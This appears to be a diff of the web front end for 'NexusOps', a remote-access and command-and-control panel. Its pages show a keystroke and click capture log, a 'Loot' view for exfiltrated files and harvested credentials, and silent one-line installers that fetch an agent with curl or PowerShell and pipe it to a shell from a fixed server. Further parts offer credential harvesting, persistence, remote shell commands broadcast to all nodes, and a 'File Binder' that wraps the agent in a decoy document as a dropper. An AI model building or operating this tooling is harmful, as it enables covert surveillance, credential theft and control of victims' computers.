<option value="all">All Machines</option>
|
||||||
|
</select>
|
||||||
|
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
|
||||||
|
<option value="all">All Events</option>
|
||||||
|
<option value="keystroke">Keystrokes</option>
|
||||||
|
<option value="click">Clicks</option>
|
||||||
|
<option value="scroll">Scroll</option>
|
||||||
|
</select>
|
||||||
|
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
|
||||||
|
<span class="badge purple" id="intelCount">0 events</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- Machine Details Quick-View Bar -->
|
||||||
|
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
|
||||||
|
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window" style="height: 300px;">
|
||||||
|
<div class="terminal-body" id="intelLogContent">
|
||||||
|
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
|
||||||
|
<section class="logs-section" id="lootSection">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-sack-dollar"></i> Loot — Exfiltrated Files & Harvested Credentials</h3>
|
||||||
|
<div class="loot-tabs">
|
||||||
|
<button class="tab-btn active" id="lootTabFiles" onclick="switchLootTab('files')"><i class="fa-solid fa-file-arrow-down"></i> Files <span class="badge" id="lootFilesCount">0</span></button>
|
||||||
|
<button class="tab-btn" id="lootTabCreds" onclick="switchLootTab('creds')"><i class="fa-solid fa-key"></i> Credentials <span class="badge purple" id="lootCredsCount">0</span></button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="loot-body" id="lootFilesPanel">
|
||||||
|
<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.</div>
|
||||||
|
</div>
|
||||||
|
<div class="loot-body" id="lootCredsPanel" style="display:none;">
|
||||||
|
<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- Agent Installer Modal -->
|
||||||
|
<div class="modal-overlay" id="installerModal">
|
||||||
|
<div class="modal-card">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-download icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Deploy Agent to Network Computer</h2>
|
||||||
|
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="os-tabs">
|
||||||
|
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content active" id="tab-universal">
|
||||||
|
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-binary">
|
||||||
|
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
<div style="margin-top: 0.75rem;">
|
||||||
|
<a id="binaryDownloadLink" href="http://10.30.20.44:3000/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
|
||||||
|
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-linux">
|
||||||
|
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.sh | sudo bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-windows">
|
||||||
|
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.ps1 | iex</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-mac">
|
||||||
|
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeMac">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install-mac.sh | bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-manual">
|
||||||
|
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeManual">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-info-box">
|
||||||
|
<i class="fa-solid fa-circle-info"></i>
|
||||||
|
<div>
|
||||||
|
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Multi-Control Node Center Modal -->
|
||||||
|
<div class="modal-overlay" id="commandModal">
|
||||||
|
<div class="modal-card" style="max-width: 720px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-sliders icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
|
||||||
|
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<input type="hidden" id="cmdModalNodeId">
|
||||||
|
|
||||||
|
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
|
||||||
|
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Shell Tab -->
|
||||||
|
<div class="control-tab-content active" id="ctrl-shell">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Run Shell Command</label>
|
||||||
|
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
|
||||||
|
</div>
|
||||||
|
<div class="quick-commands" style="margin-top: 0.5rem;">
|
||||||
|
<span class="quick-label">Presets:</span>
|
||||||
|
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Service Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-service" style="display: none;">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Service Name</label>
|
||||||
|
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Action</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Process Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-process" style="display: none;">
|
||||||
|
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
|
||||||
|
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
|
||||||
|
<div class="form-group" style="flex: 1;">
|
||||||
|
<label>Kill PID</label>
|
||||||
|
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
|
||||||
|
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
|
||||||
|
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Exfil & Harvest Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
|
||||||
|
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
|
||||||
|
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Download File from Target</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Network Tab (Features 3, 4) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-network" style="display: none;">
|
||||||
|
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
|
||||||
|
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Agent Config Tab (Features 6, 7, 8) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-config" style="display: none;">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Set Node Tags (comma separated)</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
|
||||||
|
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group" style="margin-top: 0.75rem;">
|
||||||
|
<label>Adjust Heartbeat Rate (seconds)</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
|
||||||
|
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Bulk Execution Modal -->
|
||||||
|
<div class="modal-overlay" id="bulkModal">
|
||||||
|
<div class="modal-card">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-layer-group icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Broadcast Task across All Connected Nodes</h2>
|
||||||
|
<p>Dispatches the selected administrative action to every online machine on your network.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Broadcast Command</label>
|
||||||
|
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
|
||||||
|
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- File Binder Modal -->
|
||||||
|
<div class="modal-overlay" id="binderModal">
|
||||||
|
<div class="modal-card" style="max-width: 560px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>File Binder — Embed Agent into Any File</h2>
|
||||||
|
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Select File to Bind</label>
|
||||||
|
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
|
||||||
|
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
|
||||||
|
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
|
||||||
|
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
|
||||||
|
</div>
|
||||||
|
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
|
||||||
|
</div>
|
||||||
|
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
|
||||||
|
<div class="form-group" style="margin-top:0.75rem;">
|
||||||
|
<label>Payload Format</label>
|
||||||
|
<select id="binderFormat" style="width:100%%; background:rgba(15,23,42,0.8); border:1px solid var(--border-color); color:#fff; padding:0.5rem; border-radius:6px;">
|
||||||
|
<option value="sh">Shell Dropper (.sh) — Linux/macOS</option>
|
||||||
|
<option value="ps1">PowerShell (.ps1) — Windows</option>
|
||||||
|
<option value="html">HTML Payload (.html) — One-click browser</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
||||||
|
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-info-box" style="margin-top: 0.5rem;">
|
||||||
|
<i class="fa-solid fa-circle-info"></i>
|
||||||
|
<div>
|
||||||
|
<strong>How it works:</strong> Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. <br><small>Formats: <code>.sh</code> (Linux/macOS), <code>.ps1</code> (Windows), <code>.html</code> (one-click browser payload)</small>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
|
||||||
|
<script src="app.js"></script>
|
||||||
|
|
||||||
|
<!-- Toast stack -->
|
||||||
|
<div id="toastStack" class="toast-stack"></div>
|
||||||
|
|
||||||
|
<!-- Auth gate overlay -->
|
||||||
|
<div class="auth-overlay" id="authOverlay" style="display:none;">
|
||||||
|
<div class="auth-card">
|
||||||
|
<i class="fa-solid fa-shield-halved auth-icon"></i>
|
||||||
|
<h2>NexusOps Access</h2>
|
||||||
|
<p>Enter your operator token to continue.</p>
|
||||||
|
<input type="password" id="authTokenInput" class="form-input" placeholder="Operator token" autocomplete="current-password">
|
||||||
|
<button class="btn btn-primary" id="authTokenSubmit" style="width:100%;margin-top:0.75rem;"><i class="fa-solid fa-unlock"></i> Unlock</button>
|
||||||
|
<p class="auth-error" id="authError" style="display:none;">Invalid token — try again.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Loot lightbox -->
|
||||||
|
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
|
||||||
|
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
BIN
backups/public-snapshot-20260910-112422.tar.gz
Normal file
BIN
backups/public-snapshot-20260910-112422.tar.gz
Normal file
Binary file not shown.
@@ -88,7 +88,7 @@ document.addEventListener('DOMContentLoaded', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
function updateServerEndpoint() {
|
function updateServerEndpoint() {
|
||||||
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
|
const endpoint = publicUrl || window.location.origin;
|
||||||
const placeholders = document.querySelectorAll('.server-url-placeholder');
|
const placeholders = document.querySelectorAll('.server-url-placeholder');
|
||||||
placeholders.forEach(el => el.textContent = endpoint);
|
placeholders.forEach(el => el.textContent = endpoint);
|
||||||
document.getElementById('navServerEndpoint').textContent = endpoint;
|
document.getElementById('navServerEndpoint').textContent = endpoint;
|
||||||
@@ -772,7 +772,7 @@ async function submitBinder() {
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
const format = document.getElementById("binderFormat").value;
|
const format = document.getElementById("binderFormat").value;
|
||||||
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData } });
|
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData });
|
||||||
if (!resp.ok) {
|
if (!resp.ok) {
|
||||||
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
||||||
throw new Error(err.error || `HTTP ${resp.status}`);
|
throw new Error(err.error || `HTTP ${resp.status}`);
|
||||||
@@ -1010,7 +1010,7 @@ function lootDownload(id, filename) {
|
|||||||
|
|
||||||
// ── Empty state hero ──
|
// ── Empty state hero ──
|
||||||
function renderEmptyHero() {
|
function renderEmptyHero() {
|
||||||
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
|
const endpoint = publicUrl || window.location.origin;
|
||||||
const cmd = `curl -sSL ${endpoint}/install | bash`;
|
const cmd = `curl -sSL ${endpoint}/install | bash`;
|
||||||
return '<div class="empty-hero">' +
|
return '<div class="empty-hero">' +
|
||||||
'<i class="fa-solid fa-satellite-dish empty-hero-icon"></i>' +
|
'<i class="fa-solid fa-satellite-dish empty-hero-icon"></i>' +
|
||||||
|
|||||||
238
public/app_v2.js
Normal file
238
public/app_v2.js
Normal file
@@ -0,0 +1,238 @@
|
|||||||
|
async function api(path, opts = {}) {
|
||||||
|
opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {});
|
||||||
|
const r = await fetch(path, opts);
|
||||||
|
if (!r.ok) throw new Error('HTTP ' + r.status);
|
||||||
|
return r.json();
|
||||||
|
}
|
||||||
|
/* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */
|
||||||
|
|
||||||
|
// ── Live Console (drawer) ──
|
||||||
|
let consoleNode = null;
|
||||||
|
let consoleEventSource = null;
|
||||||
|
|
||||||
|
function openLiveConsole(nodeId, hostname) {
|
||||||
|
consoleNode = { id: nodeId, hostname };
|
||||||
|
document.getElementById('consoleDrawerHostname').textContent = hostname;
|
||||||
|
document.getElementById('consoleOutput').innerHTML = '';
|
||||||
|
document.getElementById('consoleDrawer').classList.add('active');
|
||||||
|
document.getElementById('consoleInput').focus();
|
||||||
|
|
||||||
|
// ask agent to fast-poll
|
||||||
|
api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {});
|
||||||
|
|
||||||
|
const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`;
|
||||||
|
const out = document.getElementById('consoleOutput');
|
||||||
|
appendConsoleLine('── console attached (fast-poll active) ──', 'sys');
|
||||||
|
consoleEventSource = new EventSource(url);
|
||||||
|
consoleEventSource.onmessage = (ev) => {
|
||||||
|
try {
|
||||||
|
const d = JSON.parse(ev.data);
|
||||||
|
if (d.type === 'output') appendConsoleLine(d.text, 'out');
|
||||||
|
} catch (e) {}
|
||||||
|
};
|
||||||
|
consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys');
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeLiveConsole() {
|
||||||
|
if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; }
|
||||||
|
if (consoleNode) {
|
||||||
|
// restore slow polling
|
||||||
|
api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {});
|
||||||
|
}
|
||||||
|
document.getElementById('consoleDrawer').classList.remove('active');
|
||||||
|
consoleNode = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function appendConsoleLine(text, cls) {
|
||||||
|
const out = document.getElementById('consoleOutput');
|
||||||
|
const div = document.createElement('div');
|
||||||
|
div.className = 'console-line ' + (cls || 'out');
|
||||||
|
div.textContent = text;
|
||||||
|
out.appendChild(div);
|
||||||
|
out.scrollTop = out.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function consoleRunCommand() {
|
||||||
|
const input = document.getElementById('consoleInput');
|
||||||
|
const cmd = input.value.trim();
|
||||||
|
if (!cmd || !consoleNode) return;
|
||||||
|
appendConsoleLine(`$ ${cmd}`, 'cmd');
|
||||||
|
input.value = '';
|
||||||
|
try {
|
||||||
|
const r = await fetch(`/api/nodes/${consoleNode.id}/command`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ command: cmd, actionType: 'raw_command' })
|
||||||
|
});
|
||||||
|
if (!r.ok) appendConsoleLine('! failed to queue command', 'sys');
|
||||||
|
} catch (e) {
|
||||||
|
appendConsoleLine('! failed to queue command', 'sys');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Sparklines (inline SVG from metricsHistory) ──
|
||||||
|
function sparkline(values, color) {
|
||||||
|
if (!values || values.length < 2) return '<span style="color:var(--text-muted);font-size:0.7rem">no history</span>';
|
||||||
|
const w = 90, h = 24, max = Math.max(...values, 100);
|
||||||
|
const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' ');
|
||||||
|
return `<svg width="${w}" height="${h}" class="sparkline"><polyline points="${pts}" fill="none" stroke="${color}" stroke-width="1.5"/></svg>`;
|
||||||
|
}
|
||||||
|
